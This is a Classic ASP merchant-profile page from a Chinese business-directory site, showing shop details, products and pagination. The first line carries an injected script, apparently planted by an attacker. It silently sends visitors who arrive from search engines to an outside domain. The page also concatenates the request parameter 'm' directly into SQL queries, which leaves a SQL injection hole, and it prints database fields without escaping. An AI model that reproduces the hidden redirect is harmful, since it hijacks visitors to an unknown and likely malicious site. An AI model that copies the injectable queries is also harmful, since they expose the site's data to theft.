d:\wwwroot\wuchunhua\shop_ohno.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/function.asp"-->
004: <%
005: dim k
006: m=trim(request("m"))
007: set rs = Server.CreateObject("ADODB.RecordSet")
008: sql="select * from [kqiqi_shop] where username='"&m&"'"
009: rs.open sql,conn,1,3
010: if rs.eof or rs.bof then
011: response.write "<script language=JavaScript>" & chr(13) & "alert('相关用户资料没有通过管理员的审核或者已经被删除!')</script>"
012: response.redirect "../"
013: end if
014: if rs("yz")<>1 then
015: response.write "<script language=JavaScript>" & chr(13) & "alert('我们将在24小时内审核通过您的申请!若超过48小时没有通过,请检查您的注册信息或联系本站')</script>"
016: response.redirect "../"
017: end if
018: if rs("vip")="1" then
019: response.redirect "shop/shop"&rs("mb")&".asp?m="&m&""
020: end if
021: rs("tong")=rs("tong")+1
022: rs.update
023: sjcla1=rs("sjcla1")
024: sjcla2=rs("sjcla2")
025:
026: dim n,rs0
027: set rs0=server.createobject("adodb.recordset")
028: set rs0=conn.execute("select count(id) from [kqiqi_info] where username='"&m&"'")
029: n=rs0(0)
030: rs0.close
031: %
>
032: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
033: <html xmlns="http://www.w3.org/1999/xhtml">
034: <head>
035: <title><%=rs("com")%>-<%=title%>-<%=web%></title>
036: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
037: <meta http-equiv="Content-Language" content="zh-cn" />
038: <meta name="Keywords"  content="<%=metakey%>" />
039: <meta name="Description" content="<%=metades%>" />
040: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
041: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
042: <link href="inc/style.css" rel="stylesheet" type="text/css" />
043: <script language="JavaScript">
044: function DrawImage(ImgD){
045:    var image=new Image();
046:    image.src=ImgD.src;
047:    if(image.width>0 && image.height>0){
048:     flag=true;
049:     if(image.width/image.height>= 150/150){
050:      if(image.width>150){  
051:      ImgD.width=150;
052:      ImgD.height=(image.height*150)/image.width;
053:      }else{
054:      ImgD.width=image.width;  
055:      ImgD.height=image.height;
056:      }
057:
058:      }
059:     else{
060:      if(image.height>150){  
061:      ImgD.height=150;
062:      ImgD.width=(image.width*150)/image.height;    
063:      }else{
064:      ImgD.width=image.width;  
065:      ImgD.height=image.height;
066:      }
067:
068:      }
069:     }
070:    /*else{
071:     ImgD.src="";
072:     ImgD.alt=""
073:     }*/
074:    }
075: </script>
076: </head>
077: <body>
078: <div id="Fmain">
079: <div id="header">
080: <%call top()%>
081: </div>
082: <div class=kon></div>
083: <div id=FFTit class=F12bold>商家资料</div><div id=FFContent><div Class='FFdiv'>
084: <table border="0" width="100%" cellspacing="0" cellpadding="0" class="td" bgcolor="#F4F4F4">
085: <tr>
086: <td width="180" align="center" height="150">
087: <%if rs("logo")<>"" and  rs("logo")<>"0" then %>
088:
089:    <img border="0" onload="javascript:DrawImage(this);" src="<%=rs("logo")%>" title="店标" align="center">
090:    <%else%>
091:    <img src="image/bg12.gif" border=0>
092:    <%end if%>
093: </td>
094: <td width="300">
095: &nbsp;商家模式:普通商家<br>
096: &nbsp;店主:<%=rs("name")%>(<%=rs("username")%>)<br>
097: &nbsp;物品数:<%=n%><br>
098: &nbsp;创店时间:<%=formatdatetime(rs("zcdata"),1)%><br>
099: &nbsp;商家类别:
100: <%
101: Set Rsc = Conn.ExeCute("select * from sjcla1 where id="&sjcla1&"")
102: If Not Rsc.Eof Then
103: Response.Write ""&Rsc("sjcla1")&"-"
104: end if
105: Set Rsc = Conn.ExeCute("select * from sjcla2 where id="&sjcla2&"")
106: If Not Rsc.Eof Then
107: Response.Write ""&Rsc("sjcla2")&""
108: end if
109: Rsc.close
110: %
>
111: <br>
112: <%if rs("qq")<>"" then %>&nbsp;商家QQ:<%=rs("qq")%>
113: <%
114: else
115: response.write "&nbsp;商家QQ:这家伙很懒,没留下QQ!"
116: end if
117: %
>
118: <br>
119: &nbsp;电话:<%=rs("dianhua")%><br>&nbsp;E-mail:<%=rs("email")%><br>
120: &nbsp;浏览次数:<%=rs("tong")%><br>
121: &nbsp;商家地址:<%=left(rs("dizhi"),40)%>
122:
123: </td>
124: <td width="500" align="center">
125: <table>
126: <tr>
127: <td width="500" background="image/note_bg.gif" height="160" align="center">
128: <marquee onMouseOver="this.stop()" onMouseOut="this.start()" scrollamount="3" scrolldelay="121"  height="100" style="font-size: 10pt" width="450" direction="up"><%=rs("comgg")%></marquee>
129: </td>
130: </tr>
131: </table>
132: </td>
133: </tr>
134: </table>
135: </div></div><div class=kon></div>
136: <div id="Fcright">
137:   <div id=FFTit class=F12bold><%=rs("com")%>简介</div><div id=FFContent><div Class='FFdiv'>
138: <table border="0" width="100%" cellspacing="0" cellpadding="0" class="td">
139: <tr>
140: <TD valign="top" style="padding-left: 10px; padding-top: 10px; padding-bottom: 10px">
141: <%=rs("comabout")%></font>
142:  </TD>
143: </tr>
144: </table>
145: </div></div><div class=kon></div>
146: <div id=FFTit class=F12bold>产品展示</div><div id=FFContent><div Class='FFdiv'>
147: <table width="100%" border="0" cellspacing="0" cellpadding="3" style='word-break:break-all'> <tr>
148:       <%
149:       if request("page")="" then
150: ThisPage=1      
151: else
152: ThisPage=request("page")
153: end if
154:
155: set rstj_a=server.createobject("adodb.recordset")
156: sqltj_a="select  * from kqiqi_info where yz=1  and username='"&m&"' order by fbsj desc,ID desc"          
157: rstj_a.open sqltj_a,conn,1,1  
158: rstj_a.Pagesize=12
159: Pagesize= rstj_a.Pagesize
160: Allrecord= rstj_a.Recordcount
161: Allpage= rstj_a.Pagecount
162: if ThisPage<1 then                          
163: ThisPage=1
164: end if
165: On Error Resume Next
166: rstj_a.move (ThisPage-1)*Pagesize
167: k=0
168: do while not rstj_a.eof
169: %
>
170:   <td  align="center"><br>
171:   <div class="pin">
172:   <a title="<%=rstj_a("biaoti")%>" target="_blank" href="<%=rstj_a("xurl")%>">
173:   <%if rstj_a("tupian")<>"0" and rstj_a("tupian")<>"" then%>
174:   <IMG src="<%=rstj_a("tupian")%>" width="115" height="120" border=0 style="padding-left:2px; padding-right:2px"></a></div><br>
175:   <a  target="_blank" href="<%=rstj_a("xurl")%>">
176: <%=left(rstj_a("biaoti"),8)%></a>
177:   <%else%>
178:     <IMG src="shop/images/nopic.gif" width="115" height="120" border=0 style="padding-left:2px; padding-right:2px"></a></div><br>
179:   <a  target="_blank" href="<%=rstj_a("xurl")%>">
180: <%=left(rstj_a("biaoti"),8)%></a>
181:   <%end if%>
182:   </td>
183: <%
184: k=k+1
185: if k mod 4=0 then
186: %
>
187: </tr><tr>
188: <%
189: end if
190: rstj_a.movenext
191: if k>=Pagesize then exit do
192: loop      
193: %
>
194:     </table>
195:      <table border="0" cellpadding="0" cellspacing="0" width="100%">
196:     <tr>
197:      <td height="27" width="151" align="center">共有&nbsp;<font color="#CC5200"><%=Allrecord%></font>&nbsp;件商品</td>
198:     <td width="181" align="center">每页&nbsp;<font color="#CC5200"><%=Pagesize%></font>&nbsp;件商品</td>
199:     <td width="237" align="center">共 <font color="#CC5200"><%=Allpage%></font> 页  &nbsp;现在是第 <font color="#CC5200"><%=ThisPage%></font> 页</td>
200:     <td width="200" align="center">
201:     <%
202: if ThisPage<2 then    
203: response.write "<font color=""#808080"">首页</font>&nbsp;"
204: response.write "<font color=""#808080"">上页</font>&nbsp;"    
205: else    
206: response.write "<a href=?m="&m&"&page=1>首页</a>&nbsp;"
207: response.write "<a href=?m="&m&"&page="&ThisPage-1&">上页</a>&nbsp;"    
208: end if
209: if Allpage-ThisPage<1 then    
210: response.write "<font color=""#808080"">下页</font>&nbsp;"
211: response.write "<font color=""#808080"">尾页</font>&nbsp;"  
212: else    
213: response.write "<a href=?m="&m&"&page="&(ThisPage+1)&">下页</a>&nbsp;"  
214: response.write "<a href=?m="&m&"&page="&Allpage&">尾页</a>&nbsp;"    
215: end if
216: rstj_a.close
217: set rstj_a=nothing
218: %
>
219: </td>
220: </tr>
221: </table>
222: </div></div></div>
223: <div id="Fcleft">
224: <div id=FFTit class=F12bold>相关分类商家</div><div id=FFContent><div Class='Rdiv'>
225: <ul><%call vipcom()%></ul>
226: </div></div></div>
227: <br style="clear:both;" />
228: <div class=kon></div>
229: <div class=kon></div>
230: <div id="footer">
231:
232: <%call bottom()%>
233: </div>
234: </div>
235:
236: </body>
237:
238: </html>
239: <%
240: rs.close
241: set rs=nothing
242: closedb
243: %
>
244:
245: